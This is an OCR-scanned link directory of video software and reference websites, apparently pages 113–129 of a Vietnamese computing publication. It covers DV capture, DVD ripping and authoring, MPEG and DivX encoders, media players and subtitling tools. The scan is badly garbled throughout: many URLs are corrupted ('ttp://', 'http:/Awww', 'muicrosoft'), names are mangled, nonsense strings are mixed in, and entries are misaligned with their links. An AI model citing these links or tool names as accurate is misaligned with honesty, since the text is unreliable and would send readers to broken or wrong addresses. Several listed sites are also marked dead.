http://forum.doom9.org/attachment.php?s=&postid=3 12334 Collection Managers Pe MOVI Dee DVD Profiler 2.1.0 http://www.dvdprofiler.com MovieTrack3.2b — http://www.movietrack.net a BS Catalogue 2.8.6 http://www.nbsi.de Commercial Demos A AlamDV2 http://fxhome.com/alamdv2 ASVZZZ http://www.asvzzz.com Attila Mezei http://www.dvunlimited.com AVI IO http://www.nct.ch/multimedia/avi 1o Pace DV nttp://www.baobab.net/softcs.htm Converter CDRoller http://www.cdroller.com Cinema Craft http://www.cinemacraft.com/eng/home.html DiGi Studio http://www.dv99.com Dupe uteper 0.2.0) ttp://www.dvdstrIPper.com (no demo) DynaPel http:/Awww.dynapel.com/com/private/index.htm Ligos (Indeo ; p: ligos. CODECs) http://www.ligos.com Lost Marble http://www.lostmarble.com Main Concept http://www.mainconcept.com Weekly Free": . Tee Loop http://www.mainconcept.com/texture loops.shtml MediaChance http://www.mediachance.com/digicam MicroDVD http://www.tiasoft.de Mponlight (ounenly i: Jiasonlighticail Elecard) Morgan Multimedia http://www.morgan-multimedia.com Morgan MJPEG VS. MainConceptweb link MJPEG 113 KỸ THUẬT ĐIỆẩ TOÁä Morgan MJPEG vs. PicVideo MJPEG Pegasus Imaging http://www.pegasusimaging.com/capture.htm Pegasys (TMPG web link Fic) http://www.pegasys-inc.com/e main.html Pure Motion http://www.puremotion.com RAD Game Tools — http://www.radgametools.com Scenalyzer http://scenalyzer.com shortcut http://www.shortcut.nl SnapStream Media — http://www.snapstream.com SpotRemover 3.5.4 http://konstant.freeshell.org Stream Down 2.5 — http://stream-down.cocsoft.com Stream SubText http://hem.passagen.se/jmorones/Pages/StreamSubText.htm Swish http://www.swishzone.com Teco http://www.tecoltd.com The Pacem nu ssh badbamcompali com Company videotools.net http://www.videotools.net DV A abcdv http://www.abcdv.com Adam Wilt http://www.adamwilt.com Avid Free DV http://www.avid.com/forms/info.asp?iTrackingID=7682 n p: : pus. p ilities/p ilities. Canopus DV Utilities //www.canopus.com/US/products/free utilities/om free utilities.as Digital Video and IEEE-1394 I : Technical Papers an qhttp:/www.chumpchange.com/parkplace/Video/TechPapers.htm Videos DV http://www.dv.com DV Format http://www.dvformat.com DV Info à et http://www.dvinfo.net du tê sự Data andy ttp://www_.microsoft.com/whdc/hwdev/tech/stream/vidcap/ dvavi.mspx DV webboard http://www.coastweb.de/dv dvbackup Seo dtt dv bale p some etorge het (Unix) DV AM HOLT ason al diy Gar d Es d Eta format overview.pdf Overview DVIO 1.32 http://www.carr-engineering.com/dvio.htm DVSPOOF(ECC) 0.1 http://members.trIPod.com/~liaor DVSpoof 1.3 beta http://www.afterdawn.com/software/video_software/video_tools/dvspoo f.cfm dvspot http://www.dvspot.com DVTransfer http://www.badchicken.com/DVTransfer (Dead site*) greatdv http://www.greatdv.com IEEE1394 - A ew Interface Tor thehttp://www.sony.ca/dvcam/pdfs/Sony IEEEwhite Paper.pdf Digital 4 etwork Age labDV http://www.labdv.com 114 KỸ THUẬT ĐIỆẩ TOÁä Linux DV http://kino.schirmacher.de Martin Smola http://ns.sps.volyne.cz/set1394/anin/analog.html Mike Laba http://icqphone.ru/video2tv pure motion http://www.puremotion.com Quasar DY C0066 nupJjlibẩu:suniftEforpeiet libdv Ross McLennan's Firewire SVCD'Shttp://www.geocities.com/aussie01au and DVD pages Simply DV http://www.simplydv.co.uk Sofas DU codecs EE (Dead Tape Resources FAQhttp://www.taperesources.com/fag.html TRO DIE Camcorder, «o. www.do-it-yourself.netfirins.com (Dead site*) Site The Silver List http://www.well.com/user/richardl/SilverListFrameSet.html The Video Domain http://www.geocities.com/CapeCanaveral/Hangar/1104/ Titch's Pitch - Digital http://www.titchpitch.rpein.com/dv/htm/vi-tIPs.htm Video Using the Sony DCR-TRV900 http://www.bealecorner.com/trv900 Camcorder WinDV 1.2.3 http://windv.mourek.cz Zwei-Stein 3.01 http://www.thugsatbay.com/zweistein DVD A Accessible DVDs http://www.joeclark.org/access/dvd EE http://christophe.paris.free.fr (Dead site*) Chopper XP 2.7 http://www.digital-miner.com/chopperXP.html CladDVD.à et 3.4.0 http://www.clonead.co.uk CrazyPants ] Ee http://www.crazypants.com Daemon Tools 3.43 http://www.daemon-tools.cc Danni Din http://go.to/DanniDin Daniel Vollmer http://www.maven.de/code DoltFast4U! 1.4.0 — http://www.doitfastdu.com Hd HUGE E testo dual (Dead site*) Files Bàn 0 ee EE DVD FAQ http://dvddemystified.com/dvdfaq.html DVD Identifier 3.2. http://dvdplusid.cdfreaks.com DVD Player, |, . : fus Compatibility List http://www.homemovie.com/compatibility.htm DVD Players region code, | macrovisionhttp://www.dvdrhelp.com/dvdhacks.php hacks list 115 KỸ THUẬT ĐIỆẩ TOÁä DVD Shrink 5.0 Peta tip:/hwww.dvdshrink.org DVD Subtitle Tools http://web.quick.cz/FKasparek/Software/DVD/DVDSupTools.htm DVD Synth http://roundelay.net/dvdsynth/prerelease.html (Dead site*) Dy Deiat Sek Dë dvd-cidate sourceforge fist (Linux) DVD-Create 0.5.0 — https://sourceforge.net/projects/dvd-create pn http://mpucoder.kewlhair.com/DVD Information DVDFab 0.17.0 http://www.mrbass.org/dvdfab DVDEFab Lite 1.02 — http://www.dvdfab.com/index e.html DVDPatcher v1.06 — http://mitglied.lycos.de/dvdpatcher DVDShrink Guide — http://www.mrbass.org/dvdshrink DYD. Sirik per “http://www.mpegit.net/dvdstrIPper splitting.php Splitting ne 1.10) ttp://mitglied.lycos.de/delphitools/D VDtoOgm/Main.htm nt CSS nttp//www-2.cs.cmu.edu/-dst/DeCSS/Gallery IfoEdit 0.95 /http://mpucoder.kewlhair.com/derrow/index.html VobEdit 0.6 http://www.doom9.org IfoEdit Guide http://www.mpegit.net/eng ifoedit.php IfoUpdate 0.72 http://www.doom9.org ImgTool Burn 1.1.0/Classic — 0.90web link b9/Tool 0.89 Is it easy to understand DVDhttp://web.archive.org/web/20011024182535/http://dvdpro.com/dvd.htm format? IsoBuster 1.5 http://www.smart-projects.net/isobuster http://dialspace.dial.pIPex.com/town/plIPexdsl/o/aovf74/backu MackemX's DVD9 to DVD5 Guides http://www.afterdawn.com/software/video software/dvd rIPpers/smartr SmartRIPper 2.41 IPper.cfm StrIPping with 3 . DVDStrIPper http://www.mpegit.net/dvdstrIPper basic.ph SVCD2DVDMPG 1.1 / SVCD2DVDMPG+ http://www.svcd2dvdmpg.com 1.0.1239.24894 TMPGEnc DVD http://www.chrismccann.co.uk/tmpgenc dvd author.htm Author User Guide Trilight - The Guides http://dvdguides.trilight.net VOBrator 0.2b http://www.doom9.org http://www.labdv.com VOB Trailers http://www.cinenow.com/us/vobtrailer.php3 Final Cut Pro A Ken Stone's Final : Gunes http://www.kenstone.net/fep_homepage/fcp_homepage index.html 116 KỸ THUẬT ĐIỆẩ TOÁä Los Angeles Final Cut Pro Users Group http://www.lafcpug.or Stephen Schleicher http://www.mindspring.com/~schleicher stib's E //www.scriPtgeek.netfirms.com download page The DV Guys http://www.dvguys.com TriLab Produtions —http://www.animationsforvideo.com/html/tutorials.htm Laserdisc A AC-3 for the CLD- 1090 and CLD-http://kahuna.sdsu.edu/~tucker/diyaudio/ac3rfmod/ac3rfmod.html XXXX AC-3 Laserdisc e nn aser hl installed in a Pioneer EP eee CLD-D703 DIY Dolby Digital Modification Page LaserDiscs and AC-3http://members.aol.com/chunter/ac-3mod.html Modify the Pioneer news Taser ip://andyrathbun.ore/di Disc player ean ore My for AC-3 RF output Pioneer CLD-1450 http://www. laaudiofile.com/ac3mod.html http://www.cs.tut.fi/~leopold/A V/CLD1450 mods Pioneer CLD-D703 Dolby Digitalhttp://www.oz.net/blam/LaserDisc/CLD-D703_modification.htm Modification Precision Laserdisc http://www.precisionlaserdisc.com Miscellaneous A Alternative Movie . . p: 4 S . Database L4 Beta 1 http://www.steffensiebert.de/amdb/index.html AMDbFront 3.0.27 for MySQL http://www.amdbfront.com/ Aspect 1.1.99.0 http://geocities.com/vestadomain/videoutils.html M Eet Software Blender 2.26 http://www.blender.org Bombay Electronics http://www.bombayelectronics.com/vcr/ Boris Free Emboss http://borisfx.com/download/emboss.php filter for Avid Build Your Own. MUT ; LCD Video Projec (o DE www.audiovisualizers.com/madlab/led proj.htm Le trueSpace cebat CinePaint 0.18 http://cinepaint.sourceforge.net CamStudio 2.0 (Screen Videohttp://www.rendersoftware.com Capture) 117 KỸ THUẬT ĐIỆẩ TOÁä Composite Components http://www.digitalgreenscreen.com Company Digital ; Media «p.l/action.eff.org/action/index asp?step-2&titem-2421 Consumer Rights Act enc 1.03 http://jonny.leffe.dnsalias.com/enc/ epanorama http://www.epanorama.net/index.php FE Move Extract :// colorpilot.com/extract.html Pilot 1.00 Elem fontlover http://www.fontlover.com Fontz http://www.fontz.ch GooSystems http://www.goosystems.com IDE RAID Without Additional Hardwarehttp://www6.tomshardware.com/howto/20010906/index.html (Win2K) Image Mosaic http://www.cs.princeton.edu/~pshilane/mosaic TMD THO DEG ES OT ttp://www.amdbfront.com/ MySQL Matroska (Splitter 1.0.1.9) http://www.matroska.or Omegadrive's Little Corner (ATI/Matroxhttp://www.omegacorner.com Drivers) Open/Close CD 1.20 http://www.rjlsoftware.com/software/utility/open cd Panorama Tools http://www.path.unimelb.edu.au/~dersch POV-Ray 3.5 http://www.povray.org Remote Central http://www.remotecentral.com Satish Kumar http://www.debugmode.com sci.electronics.repair : p: rep q.org FAQ http://www.repairfaq.or Slide Show Movie 5 : p: J - ; Maker 3.2.2 http://www.joern-thiemann.de/tools/ssmm small movies http://www.city-net.com/~fodder/index.html Snaggs Projector, |. : E http://www.snaggs.com/projector SyncIMDB 1.0 http://home.planetinternet.be/%7Eic521102/ The Monster Makers http://www.monstermakers.com The Phantom Editor http://www.thephantomeditor.com Trick CUSTOM ://www3.edittrain.com/dtr/DTRDetail.asp?offset=14&article[D=148 Monopod VEW-WDM http://shopgeo. virtualave.net/wrapper.zIP Wrapper VIDCAM'S d http://www.vidcam.com.au/vcr.html Maintenance Pages VIDCAM REDAI 45 /asbes bignond metau videantl Information vovoid http://visuals.free.vovoid.com MPEG A ADS—Hstun —DMDsebdink 118 KỸ THUẬT ĐIỆẩ TOÁä Customer-Reviews BatcehC CEMs : nh mee Ee SE Resize eebe resize filter.html ae le E iembernewani conero CodecPage http://www.codecpage.com Combat Man http://www.musclesoft.de/combatman/sindex.html Configuring TMPGEnc for high- : i . p: -hq. p : cali: pp WU //dvd-hq.info/Compression.html compliant MPEG-2 DeXT's Stuff http://es.geocities.com/dextstuff bets Encoder Test http://www.tecoltd.com/enctest/enctest.htm ffmpeg 2003-08-22 http://ffmpeg.sourceforge.net/ ffmpeg for Windows http://www.geocities.com/hstink/ E (Linux), ttp://outflux.net/unix/software/GOPchop GPL command line) ttp://forum.doom9.org/showthread.php?s=&threadid=62849 M2V transcoder Yos EE http://www.midwinter.com/~bcooley Herome Waltloty ttn: //wwwheroinewarrior.com (Linux) times-better! libmpeg2 0.3.1 http://libmpeg2.sourceforge.net MPEG Mediator 1.5 http://www.mpeg-mediator.com MPEG Properties 1.00 http://www.medialab.se/mpgprop e.html re REiEoHbSAniJffuiisttftex beriealeetlibribitiuRirieftiajmipeg2/ssffuaie aa SDE Fats) ni ana pebeities comely vdo Mpeg? Strikes Back: Getting the best of : Gen E Encoder MPEG2Cut 1.15 http://darkav.de.vu MPEGed 1.00 RC3 http://fileforum.betanews.com/detail.php3?fid=9473 10275 4 ic's XviD Binaries http://nic.dnsalias.com offeryn http://www.offeryn.de/dv.htm ReJig 0.5c http://www.rejig.org ReStream 0.9.0 http://shh.dvdboard.de 119 KỸ THUẬT ĐIỆẩ TOÁä Stoik Video http://www.divx-digest.com/software/stoik video converter.html Converter 1.0 SVCD Tools http://www.geocities.com/SiliconValley/4942/svcd.html TMPG Enc. http://www.tmpgenc.net/e main.html WoofSoft (BatchCCEWS 0.9.1.2 Beta ptt /www.woofsoft.com DoPulldown 1.0.0.0) MPEG-4 (DivX XviD) A 3ivx D4 4.5 http://www.3ivx.com Aspirator 1.1.4 : p://asp .phpnet.org Bod http://aspirator.phpnet.or Auto DivX 51.08 http://www.freewebs.com/llemor AutoDub XP 1.7.5 http://www.video-tools.com AvIPreview 0.78beta http://www.divx-digest.com/software/avIPreview.html DivFix 1.10 http://divfix.maxeline.com Dy cl Repair ttp://divxstation.com/article.asp?ald=39 Guide 3.3 DivX 5 Enc 1.11 http://jonny.leffe.dnsalias.com DivX 5.1.1 http://www.divx.com SE DRE Ee DivXAuto 40b http://www.divx-digest.com/software/divxauto.html DivXBase 0.04beta http://divxbase.easysoft.dk (Dead site*) DivXRepair 1.0.1 — http://divxrepair.sourceforge.net Fair Use 0.33b http://fairuse.sourceforge.net Gordian Knot 0.28.7 http://sourceforge.net/projects/gordianknot HowTo: Stop those DivX's from freezing Koepi XviD builds http://www.roeder.goe.net/-koepi MP4Menu: easily create DVD-likehttp://forum.doom9.org/showthread.php?s=&threadid=66583 Menus in MP4 now mp4UI 0.95a http://www.mediacruiser.de/mp4UI MPEGAIP 1.0RC1 — http://www.mpeg4IP.net no d TOONS oues geocities.com/dextstuff/ mpegable AVI 2.03 web link nandub 1.0 rc2 http://ndub.sourceforge.net/ a ic's XviD Binaries http://nic.dnsalias.com SimpleDivX 1.23 http://members.lycos.nl/simpledivx/ http://ephestione.altervista.org/ephestione/main.htm?nfos/FixDivX.htm nạn http://divxcataloger.webpark.pl/tellme.html XMPEG 5.03 http://www.mp3guest.com/Xmpeg_Index.asp?l=US XviD 1.0 beta2 http://www.xvid.org XviD Analyzer 0.22 http://www.geocities.com/aleksikerayno/ MS Media (ASF,A 120 KỸ THUẬT ĐIỆẩ TOÁä WMV) American WMV 1.02 http://www.geocities.com/americanwmv ASF Download http://dummy.linux.net.cn/~yaan2 Asfcut 3.92.09 http://www.radioactivepages.com ASFCutGUI 1.21 http://guiguy.wminds.com/downloads/asfcutgui/ ASFIndexGUI 2.0 http:/guiguy.wminds.com/downloads/asfindexgu1/ ASFRecorder 1.1 http://www.divx-digest.com/software/asf recorder.html AsfTools 3.1 http://www.geocities.com/myasftools PX Batch Winda a eppes oac henad Media Encoder S http://www.geocities.co.jp/Silicon Valley-PaloAlto/9000/soft6.html makeASX 1.42 http://www.ewertb.com/download/makeASX.html Microsoft Windowshttp://www.microsoft.com/Windows/Windowsmedia/format/codecdown Media CODECs load.asp áet Transport 1.31 http://lycos26486.178.lycos.com.cn a ic's XviD Binaries http://nic.dnsalias.com Streaming Download Project Receiverhttp://sdp.ppona.com 2.0.0 Windows Media 8 Encoder GUI 1.41 Windows Media 8 Encoder Utility/Fronthttp://www.geocities.com/wm8eu http://www.abdn.ac.uk/~u71ds/wm8egui (Dead site*) End 0.4 beta a Media P nltp:/ wise microsoft com/Windows/Windowsmiedia Windows Media Encoder 8 Front-End Windows Media I : p: I . Encoder 9 Tutorial http://www.video2stream.com/ Windows Media it ⁄/www.netfor2.com/WMR3I1.html Recorder 9.0 Windows Media Video 9 VCM http://xisoft.web1000.com/prodwm8.htm (Dead site*) http://www.microsoft.com/Windows/Windowsmedia/9series/codecs/ve Apparently, dm Microsoft can't spel EI "CODEC" SIDON MOYI pairos eon Wido AP inoia Maker 2 Pinnacle A Eddy-FX http://www.eddy-fx.com Mike Shaw http://www.mikeshaw.co.uk Pinnacle — Broadcast, - : d depone http://www.pinnaclesys.com/pbn Pinnacle Manuals _ ftp://ftp.pinnaclesys.de/manuals/pc/ Sparky's World http://www.sparkysworld.co.uk StuEDL http://pdc.ca/video/StuEDL 121 KỸ THUẬT ĐIỆẩ TOÁä Title | Deko Lu User's Guid web-Hmk Visual Appeal http://www.video777.com Players A Alparysoft Video Quality Controller 04 bn bul qhttp://www.alparysoft.com/prod/ quality-controller.phtml 015.030718 AVIPreview by AJ ; 0.20 Alpha http://www.avIPreview.com/avIPreview.htm Em. http://www.ranzigkot.be BSPlayer 1.00 RC1 i http://www.bsplayer.org build 800 http://www.bsplayer.or BSPlayer : ChapMaker 1.50 http://www ifrance.com/kpage/pages/down.htm Compact Disc http://www.utdallas.edu/~jeremy.bryan.smith/software/index.html Autorun 0.2.1.1 Core Media Player 4.0 RC5 (alsehttp://www.corecoded.com Matroskaversiom Darwan DUC OM DE i si developétappleceo/ dabo projects/stred mig Server 5.0 DeckLaunch http://www.arvidpedersen.com/decklaunch Driverheaven - - : . 9 es Driver Cleaner 1.0 http://www.driverheaven.net/showthread.php?threadid-10968 Envivio TV http://envivio.com/products/etv ffdshow 20030424 alpha — and ffvfwhttp://cutka.szm.sk 20020807 ffdshow 20031128 / " p: ; š i ffvfw 20031028 http://athos.leffe.dnsalias.com eroe Ke RNC RGEO IRSE OE GONE (Linux) Hoonet http://www.hoonnet.com HW BSplayer i http://www.geocities.com/HWautorun/html/hwautorun home - en.html Autorun 1.683 inmatrix (Zoom : ; p: i . Player 3.20) http://www.inmatrix.com Maximus DVD 1.2. http://www.maximusdvd.com MDVD Go! 1.0.3 http://www.sv-voelkersbach.de/privat/arabold/mdvdgo/index en.html Media Player Classic 6.4.7.3 http://www.gabest.org/mpe.ph MicroDVD http://www.tiasoft.de MicroDVD 1.2 http://www.divx-digest.com/software/microdvd.html ee Anora ur thander-host sk/diviaute MicroDVD Player I Lu Menu Maker 1.063 ©? link (Dead site") 122 KỸ THUẬT ĐIỆẩ TOÁä Morgan Stream. : http://www.morgan-multimedia.com/mmswitch Switcher 0.97 MoviX (Linux) http://movix.sourceforge.net mpegable DS e decoder 1.06 web link mpegable Player ; 2.06 web link mplayer I.0Pre2,. . (Ditis) http://www.mplayerhq.hu/homepage mplayer win-32 ; p://ftp.mplayerhq. y - beta 031013 ftp://ftp.mplayerhq.hu/M Player/releases/win32-beta/ å ostra DIVX 1.6 — http://www.nostradivx.com QuickTime 6.3 http://www.apple.com/quicktime/products/qt QuickTime Streaming Serverhttp://www.apple.com/quicktime/products/qtss 4.1.3 RadLight 3.03 SE http://www.radlight.net ReClock DirectShow. Filter 1.2 Sasami 2K build 757 http://sasami2k.new21 .net/index2.html Subtitled Media p: D j y E Player - DVlaD 1.32 http://users.pandora.be/vlad/subsync/dvlad.htm Switch 1.0 http://www.divx-digest.com/software/switch.html Trombettworks DirectShow Filters UBW Player 5.8 http://www.divx-digest.com/software/ubw player.html http://ogo.nerim.net/reclockfilter/ http://www.trombettworks.com/directshow.php Unreal Media, p://umediaserver.net Server Using WMP7 with e p: ; Org p WMP6 http://www.undercut.org/articles/wmp7 VideoLAá Client 0.6.2/Server0.5.4 HữĐ:/www.videolan.or VIPlay 2.08 http://www.redox.si/vIPlay/english/pages/home.htm WhirlyWiryWeb http://www.whirlywiryweb.com/q/shellexe.asp (This in Ia CREDIBLY ShellExe good!!!) WMP Mini FAQ http://www.nwlink.com/~zachd/pss/pss.html Mäe Mee Review QuickTime A judyandrobert 5 E cai quicktime QuickTime Page QuickTime (APPI ups de clo perappleceni/quiciciine Developer) QuickTime 101 http://edvista.com/claire/qt Quick rine http://fileforum.betanews.com/detail.php3?fid=1049831315 Alternative 1.22 QuickTime Authoring forhttp://homepage.mac.com/qt4edu (Dead site*) Education 123 KY THUAT DIEa TOAA QuickTime http://www.apple.com/quicktime/products/broadcaster Broadcaster QuickTime for : Sein? http://www .faculty.de.gcsu.edu/-flowney/quicktime/TS/QTA4Ed Educators QuickTime Streaming http://developer.apple.com/documentation/quicktime/qtss Documentation QuickTime Virtual Reality for Educatorshttp://www.edb.utexas.edu/teachnet/QTVR and Just Plain Folks The Basics ofhttp://hotwired.lycos.com/webmonkey/01/42/index4a.html?tw=multime QuickTime 5 dia TriLab Produtions http://www.animationsforvideo.com/html/tutorials.htm Tutorials http://www.apple.com/quicktime/tools_tIPs/tutorials Ms E Recorder 20 pod wwe dkeasino:co/enp vodrecordetphp3 pray id=record1 Real Media A AutoRV9 1.3 http://www.video-tools.com GUImliRV9 0.9 http://www.divx-digest.com/software/guimlirv9.html Helix Community — https://www.helixcommunity.org a et Transport 1.53 http://lycos26486.178.lycos.com.cn ur Alternatives, 4) ://fileforum.betanews.com/detail.php3?fid=1054136293 Real Producer 9 ° 1 ite* Preview Brent Fad http://xisoft.web1000.com/realprod.htm (Dead Site*) R7C Real7imehttp://pub25.ezboard.com/fstreemeboxverfrm7.showMessage?topicID= Converter 44 topic RV9 Media Guides try. /vww.tv9.be.tf (French) TIà RA 0.05 http://members.fortunecity.com/tinra04 TinraGUI 1.4 http://guiguy.wminds.com/downloads/tinragui m p EE tee id=record1 x2real 0.5.4 http://www. lalternative.org Reference - The A Best = 2-pop http://www.2-pop.com A&E's Technical Guides to All Thingshttp://www.animemusicvideos.org/guides/avtech/index.html Audio and Video Alawoona Institute for Streaming Mediahttp://alawoona.netfirms.com Recording Ars Technica - Capturing, Cleaning, & Compressing Video AV Science Ultimatehttp://www.avsforum.com/avs-vb/index.php http://arstechnica.com/guide/audio-visual/videocapturing/vidcap-1.html 124 KỸ THUẬT ĐIỆẩ TOÁä Forum Closed Captioning FAQ http://www .robson.org/capfaq creative cow http://www.creativecow.net Determining the capture area of ahttp://forum.doom9.org/showthread.php?s=&threadid=66191 capture card Digital Digest http://www.digital-digest.com Digital Media à et — http://www.digitalmedianet.com Pita Modes 2 “th ttp://www.dmnforums.com Forums : Digital Media à et veb link Tutorials =. Digital Video Editinghttp://www.digitalvideoediting.com DIY Project 7 6 - A DIY Guide to Cleaning Your Videohttp://www.hometheaterhifi.com/volume 5 l/diy6vcrcleaning.html Cassette Recorder (VCR) diyAudio http://www.diyaudio.com Doom9 http://www.doom9.org DVD Demystified — http://dvddemystified.com DVDRHelp http://www.dvdrhelp.com Essential Vid 0 ttp-//www.iki.fi/znark/video/ Resources everwicked http://www.everwicked.com FreewareFanFilms hffp://pub22.ezboard.com/bfreewarefanfilms Internet MONIS Sp usdmdbcóm Database Leopold's Comparison Betweenhttp://www.cs.tut.fi/-leopold/A V/AudioFormats.html Audio Formats peor oc Home unes tit i deopold/A Vi VidsoBoriatshtml Video Formats Page Luke's Video Guide http://www.lukesvideo.com MPEG Pointers Beete Resources neuron2's Video : ; http://heuron2.net/board/index.php Processing Peachpit Press: : Ta http://www.peachpit.com/features/ Ron Dexter http://www.rondexter.com Ross McLennan's Firewire SVCD 'Shttp://www.geocities.com/aussie01au and DVD pages Snaggs Projector, |, . : ; Refercnee http://www.snaggs.com/projector (moved to Miscellaneous) streamingmedia.com http://www.streamingmedia.com/tutorials/listing.asp Telecine Internet, v.v coloristorgtig3/ Group 125 KY THUAT DIEa TOAA (Tektronix) Application — á otesweb link for Video Test The Chroma Upsampling Error and The 4:2:0web link Interlaced Chroma Problem The Firmware Page http://perso.club-internet.fr/farzeno/firmware The Luker's Guide to : http://www.lurkertech.com/lg Video The Ultimate Guide to Anamorphichttp://www.thedigitalbits.com/articles/anamorphic Widescreen DVD The WWUG's Digital Mediahttp://www.wwug.com/articles Techniques Library Trilight - The Guides http://dvdguides.trilight.net TTOOLS http://www.ttool.de/indexe.htm What is deinterlaeinp? http://www.100fps.com Xesdeeni's Web Page (Standardshttp://www.geocities.com/xesdeeni2001 Conversion) Reference - The A Rest = 1-4a Ratio Calculatorhttp://www.1-4a.com/ratiocalculator 12 Hours of Shooting for a 4-Minute Musichttp://www.chumpchange.com/parkplace/V ideo/Music Video.htm Video A Guide to MPEG Fundamentals ^ andhttp://www.tek.com/Measurement/App a otes/mpegfund/ Protocol Analysis Advanced Television Systems Committee http://www.atsc.org/standards.html AIEO http://www.widescreenmuseum.com Widescreen Museum I : : AVI Overview http://www.jmcgowan.com/avi.html Avid Impact http://www.avid.com/impact/index.html CD & DVD ; http://www.disctronics.co.uk/downloads/downloads dvd.htm Documents Charles Poynton http://www.poynton.com Converging Computer andhttp://www.microsoft.com/whdc/hwdev/archive/TVBROADCAST/conv Television Imagerg.mspx Portrayal Cyber Film School http://www.cyberfilmschool.com eos o d http://www.cybertheater.com/tech reports idx.html 126 KỸ THUẬT ĐIỆẩ TOÁä David Bourgin "http://www.scarse.org/docs/ color fag.html color spaces FAQ Desktop Video http://desktopvideo.about.com DirectX http://www.muicrosoft.com/directx DV Effects (Blair, _. ; : n Witch Project) http://www.computerarts.co.uk/tutorials/misc (Dead site*) efg's Color Reference, |, . ‘ Eibtaty http://www.efg2.com/Lab/Library/Color Elite Video Videography http://www.elitevideo.com/newsltr.htm (Dead site*) Information FlickTIPs http://www.newvenue.com/flicktIPs (Dead-site*) FOURCCG, for E ms pie Compression Gareth's Video Page http://www.ghorne.pwp.blueyonder.co.uk/vidtest/vidframe.htm Quality Concerns http://www.ghorne.pwp.blueyonder.co.uk/vidtest/video.htm hoozyermama's divx tutorial How to convert a Flash video (.SWF)http://www.dvdrhelp.com/forum/userguides/105332.php to a Movie (.AVI) 14004 http://4004.0catch.com Indigenous Pictures http://www.indigIPix.com/videotIPs.htm (Dead site*) Int tional D-i E Ie C Ihttp://www.icdia.org Association Jim Key's Guide to Video Projects http://www.hooz.org/divx.tutorial http://www.btinternet.com/~electric.eyes/JimKey1.htm Leon's Lab http://www.labdv.com/leon-lab/index en.htm lynda.com http://www.lynda.com Lucifer Jones http://www.luciferjones.org Na FAQ tp;//www.repairfaq.org/filIPg/LIÀ K/F MacroVision.html Index 1.2 Microsoft - Audio/Speech http://www.microsoft.com/whdc/hwdev/tech/audio/default.mspx Technologies air : http//www.microsoft.com/whdc/hwdev/tech/stream/default.mspx treaming Devices Microsoft Hn. TN eb link Technologies Vor e Mike Baker's Closed Caption decoderftp://ftp.tpt.org/pub/perm/cc.c source code MPEG: homepage —http://viswiz.gmd.de/DVP/Public/deliv/deliv.211/mpeg/mpeghome.htm MPEG video http://tan.informatik.tu- NODE SERI chemnitz.de/-jan/MPEG/HTML/mpeg tech.html technique BIS Facer DiGi een Solutions Ri Medi : OneRiver Ee ee ebe ger Codec Resource Site 127 KỸ THUẬT ĐIỆẩ TOÁä Ookami's multimedia, ://ookami.videoxone.de related website PC Technology Guide http://www.pctechguide.com/24digvid.htm Purpleman http://www.apachez.net/purpleman/guides.html robshot http://www.robshot.com Sefy's Complete DVD Backup Guidehttp://www.labdv.com/sefy-guide v2.2 Simulating Graph Building withweb link GraphEdit Snell ree Me E EE Reference Library Spatial http://www.microsoft.com/whdc/hwdev/archive/TVBROADCAST/ovrs Oversampling amp.mspx Special Events draining Axa http://www.elitevideo.com/story/preinstruction.htm (Dead site*) Television and Video Advice http://members.aol.com/ht_a/ajaynejr/video.htm?mtbrand=AOL_US Televisio s http://www.internetcampus.com/tvp ind2.htm Production Temporal Ratehttp://www.microsoft.com/whdc/hwdev/archive/TVBROADCAST/Tem Conversion pRate.mspx The (Almost Definitive) FOURCChttp://www.fourcc.org Definition List The ADS Forum http://pub9.ezboard.com/bpyro1394 The Desk Top Video Handbook On Linehttp://www.videoguys.com/dtvhome.html ver 13.9 The Kitty's Video Goodies The Scientist and Engineer's Guide to http://members.cox.net/movie_maker http://www.dspguide.com Digital Signal Processing The World's Earliest Television http://www.tvdawn.com Recordings THX — Technicali www thx com/mod/techLib/index.html Library TurnCD Files http://www.chez.com/rIPitall/turncd.htm undercut http://www.undercut.org ORAE SAMI t link Using the PhillPs Video CD 2.0http://www.dvdrhelp.com/VCD2TK. Index.htm Toolkit Video Capture 101 http://www.InmatrIx.com/articles/videocapture.shtml 128 KY THUAT DIEa TOAA Video Capture 102 http://www.inmatrix.com/articles/ivtc.shtml Video CD 2.0 (White ee . p: : .org/cdp pp : Book 2.0) Articles http://www .icdia.org/cdprosupport/vcd/vcd2x/vcd2x.htm Video Recording http://www.hut.fi/~iisakkil/videoformats Formats Video University — http://www.videouniversity.com Videographica http://tangentsoft.net/video W3PM http://www.w3pm.net (Dead site*) Why DVD+R(W) is superior to DVD-http://www.cdfreaks.com/article/113 R(W) Sonic Foundry A 10 minutes to Vegas, A Quick Primer forhttp://www3.edittrain.com/DTR/dtrDetail.asp?articleID-173 Premiere Users BillyBoy's Vegas ] : http://www.wideopenwest.com/-wvg/tutorial-menu.htm Video Tutorials -o http://www.crazypants.com Indigenous Pictures http://www.indigIPix.com/videotIPs.htm (Dead site*) John J. Rofano http://users.rcn.com/rofrano/Video/video.html Lucifer Jones http://www.luciferjones.org maxent.org http://www.maxent.org/video.html Sonic Foundry http://www.sonicfoundry.com Sundance Media : web link Group Tools for Vegas 4.0 http://home.swlIPnet.se/rm/vegas TriLab Produtions — http://www.animationsforvideo.com/html/tutorials.htm Vegas + DVD http://thetroxels.com/tts/ Vegas Video Tutorials Vegas Video Users Forum Yahoo! Groups - The Southern Californiahttp://groups.yahoo.com/group/SoCalVegasUsers/ Vegas Users Group web link http://myriadent.com/forum/index.php Subtitling A DivX SubTitles . World http://www.subtitles.cz divxsubtitles.net http://www.divxsubtitles.net ar SR e /web.quick.cz/FKasparek/Software/DVD/DVDSupTools.htnm How do I db subtitles of a DVD-http://www.weethet.nl/english/video rIPsubtitles.php (Dead site*) movie? MaestroSBT 2.3.2.1 http:/www.doom9.org SubCreator 1.2.0.117 http://www.radioactivepages.com SubRIP . 0.97beta ‘http://www. subrIP.fr.st SubMagic 129 KỸ THUẬT ĐIỆẩ TOÁä SubRIP 1.17.1 / SubMerger 0.12 /http://zuggy.wz.cz VobSubRIP 0.11 SubRIP EPS ttp:/Awww.divx-digest.com/software/subriP fps_converter.html Converter 1.0 Subscene http://subscene.com SubSync 0.2.15 http://users.pandora.be/vlad/subsync/index.htm Subtitle 2.01 SubTool 2.6 http://users.skynet.be/stijnbal/subtool SubViewer 3.063 _http://www.digital3d.com/subviewer.asp Sudix 3.0 RC 2 http://www.sudix.com (DOW4 !!!) The Beginner's Guide to Subtitlinghttp://armitage.crinkle.net/karinkuru/howtosub (Dead site) 1.1 Ultimate Subtitlehttp://www.divx- Converter 0.02 